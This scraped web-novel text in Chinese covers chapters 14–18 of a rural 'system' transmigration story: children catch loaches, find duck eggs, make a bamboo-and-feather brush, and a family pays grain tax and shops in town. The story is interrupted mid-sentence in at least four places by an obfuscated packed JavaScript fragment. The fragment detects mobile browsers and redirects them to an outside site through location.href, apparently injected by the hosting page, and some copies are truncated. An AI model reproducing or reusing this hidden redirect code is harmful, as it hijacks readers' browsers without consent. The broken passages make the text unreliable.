“啪”一根教棍敲在了林义的头上,“读书如此不认真,还比不上你弟弟妹妹们。”林阿爷背着手看着懒怠的林义,厉声道。 林义撇撇嘴,余光朝林知他们看去。 见他们根本没有分心关注自己,还在认真看书,有些不服气但是又真的不得不佩服,他们怎么这么沉得住气了?就不想出去玩嘛? 要是林义知道,现在他读的书和做的功课连书院的十分之一都比不上,还不得气到连学也不去上了。 “好了,今天的功课就到这里,你们好好努力,明年就送去镇上读书。”林阿爷朝他们挥挥手,打发走了。 一听到下课了,林义马上凑到林礼、林智和林知旁边:“走吧,我们出去玩,听说这两天他们在芦苇荡抓泥鳅呢。” 这个他们,自然是指林义的“狐朋狗友”们,之所以不叫林仁,是因为他压根不会跟他们玩儿。 林知不关心抓泥鳅,但是她听见芦苇,心念一动,这几天用树枝在地上练字,但是树枝太硬了,不利于以后写毛笔字,她总是想找点什么软一点的东西用。 等家里能买毛笔了,还不知道什么时候了,倒是可以通过系统,但是也不能光明正大的拿出来用啊,没办法找借口。正好可以试试芦苇呢? 其实林慧也想去,但是她低着头不好意思说,哥哥也没有叫 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挖泥鳅也是要有技巧和经验的,恰好,林义就有丰富的经验。 只见他守住一个疑似有泥鳅的洞,双指一探,夹住了一个头,手直接往前滑了一截,捏起来就往旁边的地上甩,林礼就配合地抓起来放在木桶里。 而另一边…… “啊啊啊啊啊!有什么滑溜溜的东西在我的脚边……”林智被吓得哇哇大叫。 “笨蛋,快抓啊!愣着干嘛呢?”林义一边往林智那个方向去,一边嫌着他不争气。 林知能理解到,她就怕这种滑溜溜没有毛的东西,特别是在泥里,有时看不到,却能感受到,简直可怕到汗毛倒立。 这时林义吆喝林礼一起来,围着那个水凹,手同时下水,一起摸。 先把水搅混了,越混越好,让泥鳅看不到他们的手,然后几只手往一起围,再一起往上掬。掬起来的稀泥溅得四处都是,但是大家脸上的笑容怎么也止不住,几人叉腰得意忘形。 “哇哇哇,二哥三哥你们太厉害了吧。”林智和林敏两人拍手叫好。 林慧就在岸上给他们递木桶,看着大家嘴角微微上扬。 林家人多,林义带着他们占领了一块地,专心在这片区域抓。 渐渐的林智也不怕了,他很快也摸到一条,抓起来就朝离得最近的哥哥身上扔。 林礼眼疾手快地用手捧住,瞄准林慧身边的木桶里扔,可惜掉在了外面。 尽管林智急得叽哩哇啦地叫,站在岸上的林知还是不为所动。幸好还有林慧,她一把抓起来给扔进了桶里,心有余悸的模样。 大家见虚惊一场,纷纷拍手叫好,惹得林慧脸红得低下头。 林知反正对抓泥鳅不感兴趣,这边活动进行地如火如荼,她朝一边走去,想要这几根适合的芦苇。 她折了几根,在地上试了试,可惜不太行,芦苇花会掉,杆子太硬。 还是得用竹干杆和鸡毛试试吧,她思忖着。 15. 第15章 一没注意林知就走到了芦苇荡深处了,“扑腾”一声在静谧的环境下还把她给吓了一跳,原来是一只野鸭飞走了。 这一动静也惊动了在湖边觅食的鸟雀,引得一阵扑腾,仿佛激起千层细浪,待飞鸟远遁,涟漪散去,芦苇荡又恢复了平静。 林知无语地对系统说:“你觉得我现在能完成这个任务?”没错,林知最新的任务之一便是抓一只野鸭。 【我相信宿主的能力,毕竟您可是系统选择的人。】 真是……马屁拍到马腿上了,这句话还不知道是夸她呢还是夸它自己。 一阵沉默后,林知灵机一动:“活的鸭子不行,鸭蛋也行啊!至少可以孵出来。” 系统得知她的想法,一阵无语,如果它想收回刚才的话还来得及吗?于是它“好心”的提醒了一下林知。 【宿主,任务是有时间的。等到鸭子孵化出来恐怕来不及了吧?】虽然是疑问的语气,但是是肯定的态度。 顿时林知抓狂了,煮熟的鸭子要到了却飞了。 不行,完成不了任务,她也不能放过这些鸭子的蛋。 林知一鼓作气在芦苇荡里扫荡了三个野鸭窝,收获了六个蛋。 她一个个拿起来对着阳光看了看,只拿走了最近才生下来的,快要孵化了的蛋她没动。 “阿姐,阿姐,你在哪啊?”捉了大半天泥鳅的林智突然发现岸边没有自己姐姐的影子,于是四处张望。 “我在这儿呢。”林知一手用衣摆包着几个蛋,一手拨开芦苇,纷纷扬扬的芦花落了她满头。 “哇,阿姐,你怎么找到这么多蛋的?”林智觉得自己阿姐简直就是无所不能的。 那些水鸭可机警了,村里的孩子也不是没找过,只有运气极好的时候才能摸到几个。 林知,她当然是有系统帮忙啦,不过,这可不能说。 “那是当然,阿姐给你们烤鸭蛋吃怎么样?”林知骄傲地扬了扬手里的一个鸭蛋。 林智双眼一亮,一听烤鸭店口水就要流下来了:“好啊好啊,我们叫哥哥阿姐他们一起吧。”他马上屁颠屁颠地跑去找林义借火。 林知一边好奇地问道:“你出来玩儿带火折子干嘛呢?”一边麻利地从周边找了一些草和木棍。 林义一副“你这就不懂了吧”的模样看着林知:“出来玩儿,准备还是得齐全一些嘛。” 看样子,他们生火烤东西的次数不在少数。 林知先在地上挖了一个坑,在底下铺了一层干草,再放一些干木枝,把蛋给埋进去,再在上面铺干草和树枝,点起火来不断往里添柴。 林义他们抓得也差不多了,足足有十几条呢。他们发现时间不早了,身边的小孩儿们都成群结队回去了,纷纷从泥潭里爬起来。 林义看了看手上和脚上的泥,招呼着大家去湖边洗一洗。 晒过太阳的湖水还不冰,几人麻利地洗去了身上的泥巴。 洗过后,林义奔上前从林慧手里拎过木桶,看着他们的丰收成果,高兴得不行。 刚洗过手脚,又在泥里待了那么久,他们都蹲在火边想暖暖手,林知只好把火烧得更大一点。 过了十分钟后,林知见差不多了,便用树枝把几个蛋从火堆里扒拉出来。 鸭蛋的外壳烤脆了,一磕就可以轻松的把壳给剥下来。 一股浓烈的香气,从洞口飘散开来。 “好香啊~” 他们一人捧着一颗热乎乎的鸭蛋,细细品尝着。 夕阳正好,整个泉水陆地一片金黄,金黄色的芦苇迎风而动。 湖水映着蓝天白云,犹如一幅美丽的风景画。 “好了,该回去了,等下晚了,大人该着急了。”林知拍掉了身上刚才烧火染上的烟灰,又用泥土把火堆给熄灭了。 一群泥猴子回到家里差点没给家里大人气得厥过去。 钱氏抄了扫把上前两步骂道:“说了别去河边耍,你们都给我忘到脚后跟儿去了?我今天不收拾你们,你们便不知马王爷有几只眼!” 林知连忙扯住她,讨好道:“大伯母,我们没去河里,我们在泥潭边抓泥鳅呢,你看。” 说得钱氏一顿,手中扫把硬生生换了个方向,她可不敢打林知,二房知道了,还不得闹。 林义几个齐齐松了一口气,这才变得活泼一点,拎起木桶给钱氏看,希望她消消气。 看着浑水里的泥鳅和眼前脏脏的小孩儿,钱氏只觉得头疼。 钱氏没好气的说:“别跟我嬉皮笑脸的!”眼不见心不烦,她不耐烦地丢下扫把进了院子。 林二郎好笑地看着,招呼他们快进来:“放着我来吧,等下加个菜。” “我来我来!”林知主动积极举手,“我给你们做一道泥鳅炖豆腐吧。”但是林知不敢杀泥鳅,所以让她爹代为处理了一下。 泥鳅先用盐加黄酒洗去表面的粘液,虽然调料有限,但还好效果不错。 热油锅,先下葱姜爆香,再将去头破肚的泥鳅一块儿倒下去爆炒。 依次放入蒜苗和葱段,再撒上些许黄酒、盐、豆酱和紫苏叶,然后把豆腐切块儿入锅,盖上盖儿焖烧片刻,香味便立刻飘散了出来。 其他菜也上桌了,林义林礼他们几个连忙乖巧的搭桌子板凳,虽然家里最近也老是吃肉,可是一想到好吃的,他们还是馋,再说了,这做的味道也太香了吧! 豆腐本来就好吃,再染上泥鳅的肉味,料汁一裹,香得吞舌。 毫无疑问,泥鳅炖豆腐一上桌就被大家给吃完了,虽然每次家里做的饭是不可能被留着浪费的,但是吃得绝对没有现在这么满足。 太幸福了!林义和林智他们腆着肚子感慨万千,在他们心里,愿望很简单,那就是每天都吃好喝好睡好玩好! 二房,一灯如豆。 桌子上的煤油灯烛芯烧得哗波作响,“噗呲”一声地炸出一朵火花。 之前因为罗氏赶店里的秀帕,林二郎特意给她从城里带回一盏煤油灯,可惜等买回来了,罗氏现在也用不上了。 和着晕黄的灯关,林知趴在床边打量着襁褓里的婴儿,而一旁的林智好奇的戳了戳他们的脸蛋。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036066|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哇,弟弟妹妹们比之前长得好看了。”林智看着他们逐渐消去红痕和不再皱巴巴的脸,高兴地说。 其中妹妹好像在表示不满,嗯嗯地动了几下手脚,倒是哥哥安静得很,竟然在这么多人的围观下还可以呼呼大睡。 罗氏好笑地打量着身边的孩子,发现的确他们明明不足月而且还是双胎,却长得比林知和林智他们小时候还要好一些。 林二郎随后打趣道:“阿智刚生下来的时候也是一样啊!” 结果没想到,林智小嘴一撇,眼泪汪汪的问:“我小时候也这么丑吗?” 说罢,他的金豆子还一颗一颗的往下掉。 这一举动,惹得林知他们几个哈哈大笑,林智反应过来,这是在打趣他呢。 他头一偏,“哼”的一声不想理这群大人了。 林二郎用手轻拍着襁褓,突然想到什么,他转头对林知说:“只只,要不然你给弟弟妹妹们取个小名吧?” 林知一听见这话,诧异道:“我?” 一般孩子的小名应该由父母取,寄予了他们深厚的祝愿与期望。 罗氏半靠在床头,墨黑色的头发都披散在身后,也温柔地看着她:“对啊,你是他们的阿姐,他们也会很高兴的。” 看着阿爹阿娘温柔且坚定的眼神,她心里一阵暖流,想了想,笑得眼睛弯弯的。 “人之一生,不过但求‘福乐安康’,不如哥哥就叫福宝,妹妹就叫乐宝吧。” “福宝,乐宝,这个名字好。但求我们一家人福乐安康,平平安安才好。”罗氏笑着说。 昏黄的烛火下,一家人温馨的在一起闲话。 “对了阿爹,明天你帮我做一些毛笔吧,就用竹子做。”林知正好把自己的想法说了出来。 “竹子做毛笔,可是我不会啊。”林二郎犹豫。 “没事儿,就用细一点儿的竹竿,然后插上鸡毛,做一个简易版的就行。”林知努力睁着湿漉漉的大眼睛望着林二郎。 林二郎实在受不了女儿卖萌的表情,只好答应了她,反正林知说起来这么简单的样子,那也应该……不难做吧? 翌日。 因为家里面的竹子几乎都是很粗大的那种,专门用来编织背篓、簸箕和竹篮的,所以并没有林知要求的那种竹子。 所以林二郎打算上山去现找一些,好在他现在的腿已经好得差不多了,上山也不是什么难题。 一看要上山,反正现在也是闲人一个,林知也想跟着去,结果林智这个跟屁虫屁颠屁颠的也要跟着去。 林知跟着拿着砍刀的林二郎一路从后屋走,原来他们家后山就有一片竹林,一条小径就可以直达。 曲折的小径隐没在竹林的深处,远远望去,一片片竹林,郁郁葱葱,重重叠叠,顶天立地,望不到头。 林知好奇地问:“阿爹,这片竹林都是我们家的吗?”她经常看见家里在用竹子,可能就是在这里砍的吧。 林二郎用砍刀劈开了一些挡在了路上的杂草树枝,头也不回地回答:“算是吧,这是我们林家以前永业田换下来的。” 16. 第16章 又怕林知听不懂,他继续解释下去:“现在朝堂会给每个成丁分四十亩地,其中包括二十亩永业田,二十亩口分田。” 林知微微张大了嘴巴,表示对这个数字很惊讶。 她当然知道,朝堂分的永业田是要按规定种植作物,比如桑树和麻,但是永业田是可以一代代继承,朝廷并不会收回了。 永业田主要长榆树、枣树以及桑树等,而口分田的种植范围比较广泛。 而口分田也有上中下之分,这个就要看运气了,也时候也会分到荒地或者山头的,而且等人死后是要归还给朝堂重新分配的。 而荒地山头也没什么用,所以他们会在山上种树种竹子,也算废物利用了。 竹子用得多,比如他们家就会拿来编织东西,既可以自家用也可以拿去卖。也可以种树,不仅有柴烧,好的树可以拿来做箱笼,甚至卖给木匠换几个钱。 官府对田地置换也是睁一只眼,闭一只眼,只要双方愿意,拿点“手续费”,永业田也是可以换口分田的。 要不然,那么多的地私下买卖是怎么来的? 而在老百姓的眼里,种不了的永业田还不如能种树,打柴的荒山呢。 “前朝战乱,新朝不过建立才几十年,以前打仗人死得多,现在地多人少,分的地也多了些。可惜的是,产量太少,地再多也养不活一家十几口。”林知心里默默替她爹补充了一些。 他们一路拾阶而上,风起时,竹叶沙沙作响。 阳光透过茂密的竹叶缝隙,照在地上,从远处看,像一片片碎银铺在地上。 林智像只小兔子一样,一蹦一跳的走在最前面。 林知鼻子耸了耸,空气中弥漫着一股淡淡的竹叶的清香,沁人心脾,撩人心房。 林智也学着他阿姐的样子,小鼻子一动一动的,“阿姐,你在闻什么啊?”好像没有什么特别的啊? 林知笑着说:“竹子的香味啊!你仔细闻闻。” 果然,林智眼睛一亮,开心地嚷嚷:“真的耶,阿姐,你怎么什么都懂啊?” 林二郎无奈地笑笑,怎么他们姐弟俩关注点都这么奇怪,这竹林天天有人来,都没有人闻着竹子的香味,不过,他女儿可是冰雪聪明,不一样也正常。 几人走了一会儿,林知突然停了下来。 “阿爹,就要这种的!” 林知仔细看了看周围,朝着一个方向跑去,她手里拿着一根竹枝,是从地上捡的那种。 “要这种不到小拇指粗细,褐黄色,而且不能太干,要不然可能会开裂。”她举起手中的东西说。 这种竹枝很长,但是可能只有一节的长短粗细适合做笔杆,林二郎接过来动作麻利用刀仔细把其他部分给割掉。 林智一看也和林知一起到四周找了起来。 一刻钟之后,几个人都找到了不少合适的竹子。 为了减少麻烦,林二郎直接在山上就把它们割成一小节一小节,这样好方便拿下山。 打算多做几个,而且为了避免损耗,林知直接多准备了一些,不过,还是要看看效果如何。 准备好第一种材料,他们就下山了。 片刻过后,林知和林智正雄赳赳气昂昂的站在自家的鸡棚前,因为他们得拔一些鸡毛来做笔毛。 后屋的鸡裱然扬着脖子“咯嗒咯嗒”地在院子里兜圈,时不时啄啄草。好像对站在它们身边“不怀好意”滴溜溜的转着眼珠子的某两人毫不在意。 “看见那只最漂亮的大公鸡了没?我们就抓它,这样,我从这边,你到那边,我们包抄。”林知神定气闲地一边指挥,一边按着路线而动。 “嗯嗯,好的,阿姐。”林智还用手指压在唇上比了一个“嘘”的动作,生怕把鸡给吓走了。 正当两人猫着腰越靠越近,大公鸡却察觉到了危险,直接一个展翅,扬起一层灰土突破了林知他们并不严密的防线。 林知咬咬牙,不甘心的又换个方向合包围之势。她今天就不信了,自己连只鸡都搞不定。 就这样持续了十几分钟,他们不仅没有抓到鸡,还累得气喘吁吁。 林知手叉着腰双目喷火,林智撑着膝盖,一边喘气一边喊:“不行了,不行了,让它去跑吧!我们换一只吧,好不好阿姐。” 更可气的是那只鸡跑累了,还给他们表演了一个“金鸡独立”,让自己的一条腿可以休息。 林知见它脖子一伸,发出了一声响亮的啼叫,好像在嘲笑她:“来呀,你们两个人也休想抓住我!” 登时心底冒火,于是恶向胆边生,拿着一支竹竿就要打它,结果打鸡不成蚀把米。 大公鸡立马鸡毛全身立起来,雄赳赳气昂昂的冲过来就要咬姐弟俩。 “阿姐……姐……”林智吓得立马迈着小短腿蹬蹬蹬的跑得飞快,林知见势不妙,也马上丢下手中的棍子,欲哭无泪,好像脑海中有什么不好的记忆复苏。 大公鸡实在忍受不了林知他们的袭扰,奋起反抗,扑棱着翅膀就要扑上来啄人。 “啊啊啊啊啊!救命啊!” 顿时传来一片鬼哭狼嚎,两人在前面跑,后面有鸡在追。 不小心就踢翻了食槽,打翻了簸箕,院子里一片鸡飞狗跳。 等林二郎放好东西回来就看见了这幅模样,他目瞪口呆,不明白为什么自己就离开一会儿,后屋就天翻地覆了。 林知一看见如救星一般出现在门口的林二郎,扯开喉咙便吼:“阿爹!快,快帮我们把它弄走啊!” 感受到自家女儿灼热如有实质感的目光,林二郎及时地抓住了那只大公鸡。 看见讨厌的大公鸡终于被制服了,林知站在它面前,一副小人得志的嘴脸,原本她还打算多抓几只鸡拔毛了,这下不用了。 “嘿嘿。”林知伸出了她的魔爪。 林智和林二郎不忍直视的捂住了眼睛,实在是林知现在的表情太过狰狞,这只鸡的下场太过惨烈。 只见它此时腹部和背上一些软毛已经被林知扯得七零八落,它应该庆幸,林知没有看中它翅膀上的毛,原本公鸡高昂斗志的头现在也变得垂头丧气的了。 此事过后,它每逢看见林知都跑得远远的,当然,这都是后话了。 有了工具,林知就可以做毛笔了。林二郎先是用他平时打磨木头的工具把竹子给打磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“明天就要缴税了,你们都去县城里吧,豆腐歇一天就暂时不做了。”林阿爷沉思一阵,林阿奶反而皱眉,这和他们之前商量好的不一样啊。 “都去见见世面也好。”这就是林阿爷下午看了林知他们突发奇想决定的。 林阿奶无言,才四岁的林智和林敏能见什么世面,这么小连事都记不住。 再说,纳税的时候县城里人又多又杂,孩子那么多被拍花子拍走了就出事了。 只不过林阿奶见家里人上到林大郎,下到林林敏都一副很开心的样子,就把刚想反驳的话给咽了下去。 算了算了,家里这么多大人呢,几个小孩子还看不住嘛?最近家里也没啥活儿,而且他们轮流换着卖豆腐也累了几天了,让他们出去放松放松也行。 “对了,阿爹,家里上次晒的板栗也可以拿去卖了。”林三郎提出话题,这两天,他们已经陆陆续续把剩下的给剥了。 “三叔,给我们留一点!我们还没有尝尝呢。”林知站起来抗议道。 “行行行,这板栗哪有肉好吃嘛?真是的。”林三郎嫌弃地摆摆手,但还是答应了下来。 虽然舍不得拿这么多钱去买板栗,但是山上打下来的,他们还是舍得给孩子们吃的。 林大郎一脸黑线的看着自己的蠢弟弟,阿爹都没说啥了,他还做上主了。 不过,林阿爷并没有反对他们的商量结果。 “行了,都歇息去吧,明天还得赶路呢。老大家的来拿点钱明天买些东西回来,老二家留在家里看孩子就行。”林阿奶打发众人道。 最后一行人都怀着对明天的美好期望回到房间睡觉了。 17. 第17章 第二天林家人早早便把要纳的粮税准备好,装了袋子后放在板车和箩筐里。 林阿爷看着他们忙活,又提醒道:“多装一些,免得有什么意外。” 县城管辖的镇和村落不知几凡,距离隔得远,尤其是有的全是山路还不好走。所以纳税什么的是不可能衙门里的衙役下乡征收的,而是各自送去县城。 秋税必须在十月底纳完,秋收后虽然前后有近两个月的时间,但早纳完,自然早安心。 为了路上安全,村里纳粮都是要一起走的。 一大早,路上便汇集了推着板车的,或者把粮食放在箩筐里挑着去县城的。 路上还有人寒暄:“你们家人多就是好啊,不像我们这些人少的还得雇驴车或牛车拉运,不然连着跑两三趟都未必能搬完。” 被说的人笑骂:“好什么好?这人多啊,纳的税可也不少哦……” 而林家男丁多,林大郎带上两个弟弟再加上半大的孩子推了板车,再挑两个箩筐就差不多了。 林智和林敏被塞到车里的背篓中,天气越来越冷了,所以他们拿被子给拢好,伸着两个小脑袋活像两个福娃娃。 半夜的寒风“呼呼的”直往人脖子里和嘴巴里灌,林知缩了缩脖子,闷着头往前走。 她咬着手指,一脸幽怨,看来还是得买头牛才方便啊,现在的鞋不够好,感觉每次走这么远的路,脚上都磨出水泡了。 林三郎吭哧吭哧地和大哥把板车推上坡,林智、林敏坐在板车上,板车一下坡速度就快起来,而且还有一阵又一阵的风迎面吹。 年少不知愁滋味,他们高兴地哇哇大叫。 小孩子的欢笑声传的老远,飘入逐渐汇聚成长龙的队伍中。 大人们的脚步轻快起来,仿佛也被这笑声感染一样。 至少今年缴了税,家中还有余粮。 一行人到了县城,便在城门口分道扬镳。 林大郎和林二郎林三郎一起去排队交税,而钱氏和马氏则去杂货店买些家里缺的柴米酱醋盐,林仁带着弟弟妹妹他们则去卖两篓的板栗。 有了上次的经验,家里大人对他们还是挺放心的,几人轻车熟路的进了城。 这次两篓板栗没有上次多了,只有一百五十斤,林知为了方便,直奔酒楼而去,好在酒楼直接以每斤五十五文的价格全买下来了。 一共给了八两银子和二百五十文铜钱。 “大哥,我们去书铺看看吧。”林知手握钱财,心里想着现在可以买些纸来练字了吧。 于是一行人又去了书铺。 “即墨斋”林知看着牌匾上几个黑漆漆的大字念道。 里面来往选书和买笔墨纸砚的人不少,但大多安静地做着自己的事。 林慧他们在门口踌躇不敢进来,林知倒不觉得有什么,她迈着小短腿就往里走。 掌柜一脸带笑的上前招呼,以往来书铺的大多数都是县城里上学的学子,这几个小郎君小娘子一看就是第一次来,不过他也没有因为林知他们穿着打了补丁的麻衣就轻视。 “几位小郎君小娘子是要点什么吗?我可以帮你们找。”掌柜有礼地问道。 林知镇定自如:“麻烦掌柜的帮我们拿一本《千字文》和一本《三字经》吧。” 这是他们刚才在路上商量好的,都是适合启蒙的书。 一旁默默看着这边动静的一华服公子趁机上前,他先是揖一礼:“在下是县学一年级学生罗慎,各位想必是为家里人读书的学子买书吧。”他直起身来笑吟吟地说道。 这群人年纪最大的不过十一二岁,看穿着首饰必不是富豪之家,可是看举止行为和为首那小姑娘的神态,也不是寻常人家出来的孩子。 所以他倒是很好奇啊。 林仁见眼前十七八岁的少年跟他们搭话,也以读书人的姿态回了执手礼,礼貌的回答:“正是,家里幼弟妹启蒙,今日来了县城正好配置上。” 罗慎一看就明白他才是读书人,心下了然。 不过也很是震惊,看样子他们应该是农户了,还要家里的孩子都启蒙,这就很……谁不知读书最是花费大。 不过片刻,这些想法就在心里打了个转儿,只是他面上不显,神色淡了一些。 林仁此时看见对方的神情,也不再解释什么,而是告辞道:“郎君,我们还有事,若是有缘,下次再会。” 说罢,就跟掌柜的进去选书了。 在林仁和罗慎“虚情假意”的寒暄时,林知已经溜进去了。 铺子只有一层,中间是高大的书架,中间放了一些桌椅,因为许多人不止买书,也会直接在这里看。虽然看的人多,但是必要的书还是会买,所以老板并不亏,反而这样会吸引顾客和好评。 她转悠了几圈,把摆在书架上的书看了个大概,都是一些普通常用的书和话本。 当然,书的价格也看了,林知暗自咂舌,难怪古代读书贵呢。 她刚才扫了一眼,某些书都要二两银子,都够贫寒之家半年甚至是一年的嚼用了。 更别说那些子史经集、名家孤本和珍贵的名家大儒的手稿笔记,绝对是弥足珍贵的。 “这《千字文》和《三字经》一类的启蒙书呢,也是有不少讲究的。”掌柜的一边引他们往里走,一边细心地给他们解释。 见林知疑惑不解,他微微一笑:“有普通和精装版,会相差几百文呢,如果你们感兴趣的话,还有历代优秀学子、名家大儒曾经的笔记手稿。” 林知昂首表示明白了,这不就是类似于前世的状元笔记嘛?现在他们暂时用不着。 “一般的就行。”她和林仁对视了一下决定好了。 “那好,《千字文》是三百文,《三字经》是五百文,你们还要不要看看笔和纸?”掌柜麻利地给他们抽出书。 现在印刷术还没有那么发达,以雕版印刷术为主,而且读书人少,识字看书的人也少。 像《千字文》《三字经》这种常见的书卖的还算便宜,其他少见一点的书多是手抄,所以贵。 其实活字印刷术也有,但是市面上流通的书籍少多被世家大族所掌握, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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为什么它的推销总是失败!哪个宿主拥有了这么“神通广大”的系统后,不是大买特买,偏偏林知不一样。这么下去,不知道自己什么时候才能攒够回去的路费啊? 林知不知道系统丰富的内心戏,她正跟林仁商量到底要不要买呢。 “行吧,给我们再拿两刀纸,笔暂时不用了。”他们最后还是决定多买一些,家里这么多人呢。 毕竟在纸上写字和沙地上写字手感还是不同的,他们也不能指望读书真的能一文钱也不花吧。 最后一共花了一千四百文,掌柜的以小本买卖不容易为由谢绝了讲价,但是多送了他们一些拆开的散纸。 被掌柜的笑眯眯的送出门,林知感慨果然是生意人啊! 提着东西出了门,林义才一脸憋坏了的模样松了一口气:“书铺就是不一样啊。” 他在里面大气都不敢出。 林慧深有同感,虽然她也说不出来哪里不一样。但是她都不敢在里面乱看,那些可是读书人要用的东西。 “对啊,有一股淡淡的墨香味,可好闻了。”林智点点头说,只有他和林敏活泼不谙世事。 林仁和林义拿着东西,林知一手牵了一个林智和林敏朝他们做了个鬼脸表情:“人小鬼大!” “阿姐真幼稚!”林智也学着林知的样子吐吐舌。 18. 第18章 因为农忙刚过,又是交粮税的日子,县城里来往的人特别多,还有外地的粮商来收粮呢,所以县城显得格外热闹。 相应的,街上卖吃的也特别多,各种小吃玩具应有尽有。 反正林知出门前林阿爷说了,今天这卖板栗的钱,她若是需要可以买些东西。所以看见小摊上的熟梨糕,她还是忍不住买了一些。 这是独具特色的一种民间小吃,用大米磨成粉渣,蒸熟后作为主料,然后在上面涂抹各种小料制作而成。 它其实与梨无关,应该是“哩”字相通叫“熟哩儿”,用五文钱就可以买一大份儿。 “给,你们尝尝。”林知分给他们每人一块儿。 林智接过小咬一口,香甜软糯,味道可口,他眼睛一亮:“阿姐,好好吃,里面还有豆馅呢。” 林知也吃了一口,唔,真不错。 “给大伯父他们也留一点尝尝。”林敏像一只小松鼠一样嘴边吃得鼓鼓的懂事地说。 “好了,你们吃你们的,我们再买一份儿。”林仁摸了摸林敏的小脑袋,又拿出钱温和地对小贩说:“再来一份儿吧。” “好咧。”小贩用油纸在蒸锅上又捡了一份儿递给他们。 “走吧,我们快去找大伯父二伯父阿爹阿娘他们……”林智和林敏一左一右牵着林知的手蹦蹦跳跳地往前跑。 恰巧他们路过主街上的绣楼,正好碰上钱氏和马氏在买布。 “大/二伯母/阿娘……”还没等林知他们反应过来,林智和林敏已经冲进去了。 钱氏她们回过头来,发现几个孩子都在,就笑吟吟的把他们给叫了进来,毕竟人多讲价也是有底气嘛。 林知打量这家绣楼,上下两层还挺大的,有不少衣着华丽的人被引着上楼去,大堂里一般购物的人也安排了人仔细招待。 此时店小二正在努力的给钱氏他们推荐布料,时间不紧张的人家一般都会买布回去自己做衣服,这样既合身也能省不少手工费。 “大娘,你看这匹藏蓝色的,这个布料啊,虽不是由蚕丝纺织的,可是它绸面挺括细密,也不扎肤,穿上去舒服的很,而且也经脏耐穿……” 店小二正根据眼前人的穿着打扮给他们推荐一些合适的布料。 “这种多少钱啊?”钱氏心里已经做好准备了。 “不贵,只要二十文一尺。”店小二笑眯眯地说道。 “二十文?这么贵啊?”绕是有心理准备,马氏也诧异的喊道。 要知道,普通的火麻布也才不到十文钱一尺,一身普通的袍子大概需要二十一尺布,平时他们的成衣也就二百多文,这样还是几件衣服打了补丁、或者改小穿了又穿。 “这……大娘,这可是我们店最近新进的款式,现在还便宜些,等再过段时日可就要涨价了。”店小二为难地说。 林知看他们僵持不下,就问了一句:“你们这里有棉布吗?” 店小二礼貌地回答:“小娘子知道棉布啊?这可是我们现进的新货物,白叠子产量低可是个好物件儿,而且这织的布啊可暖和了,要不是我们这里离京都近啊,可轮不上咱们店……” 没等林知问,店小二吧啦吧啦的说了一大堆。 这里的人把棉花叫做白叠子啊,林知颔首若有所思。 “这棉布可得一百文一尺,小娘子是要看看吗?”店小二犹豫地看向林知,他们也不像是要买的人啊,可是顾客至上,他还是礼貌的问了一句。 “啊,不必了。”林知思量了片刻之后,还是算了,现在他们家还没有那么多钱呢。 这下钱氏他们也不觉得先前看的布料贵了,什么棉布啊?一套衣服做下来可得小二两银子。 所以他们最后还是决定买了两匹前面的那种蓝布和两匹火麻布。 现在的一匹布有四十尺左右,够成年人做两件衣服,半大小子够四件了。 最后花了二两四钱银子,店小二看他们一次性买这么多东西,还贴心的多送了一些可以用来纳鞋垫的厚布片。 一群人欢欢喜喜的出了绣楼,虽然花了钱,但是购物还是很开心的。 带上之前买的油盐酱醋,针头线脑的,钱氏一群人正好在城门口和林大郎他们汇合。 把大包小包的东西提上板车,一行人打道回府。 钱氏看了一眼完全没有剩下一颗粮食的口袋,脸色有些不好看:“今年全收上去了?” “嗯……”林大郎推起板车就走,想来城门口不是好讲话的地方,也没有解释什么。 走了一段路,林三郎才愤愤不平:“你们是没看见那些衙役,一个个鼻孔朝天的样子,都是舀了尖尖一斗,还好阿爹让我们多带一些粮,要不然还不够呢……” 听见这话,其余一行人有些沉默,毕竟小鬼难缠,他们也不好大庭广众之下的反抗。 民不与官斗,好像是千百年来的默识。 唯有林敏还有些许欢乐。 “阿爹阿娘,你们吃糕糕……”她举起糕点递给马氏。 “好咧……”马氏笑眯眯地接过。 其余人叹口气,想着好歹现在不打仗了,不像以前粮食被抢,人直接拉走征兵。 世道太平,总会有办法的。 刚才沉默的气氛终于消散了一些,一些人又欢快地分起了糕点。 林三郎把林敏驾在脖子上,逗得她“咯咯咯”的笑,温暖的阳光笼罩在一家人身上,他们推着车,一步一步走得很坚定。 推着板车回去,林家人就在院子里卸货,大家都很开心,毕竟今年有了钱还买了不少好东西。 布交给了林阿奶,由她分派任务下去裁衣,农家人做的衣服没那么精致,裁好后缝起来就行,只要针脚细密没毛病就行。 林大郎和林二郎三兄弟则跟在背着手的林阿爷屁股后面进了屋,汇报今天进城后发生的事儿。 林仁林知也跟着去,跟林阿爷说一下他们今天在县城里买的东西和把剩下的钱上交。 “对了,这儿还有两斤五花肉,先放到篮子里吊在井里,晚上拿来吃了吧。”钱氏一边整理东西一边说道。 “哦,好。”林慧接过去放好。 他们回来早就过了午时,就简单的吃了一些东西,因为早上起的太早,所以他们也各自去歇息补会觉了。 林知一回房鞋子一脱,头挨着枕头就睡着了。 秋日的阳光不浓不淡均匀地铺洒开,从窗口钻进来,林知张着嘴巴,小脸睡得红扑扑的。 突然。 “唔……”林知弹得坐起来,她伸手摸了摸额头的虚汗,竟然梦见了自己被一头猪追,太羞耻了。 “老六,我睡了多久了?”她睡眼惺忪地打个哈欠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 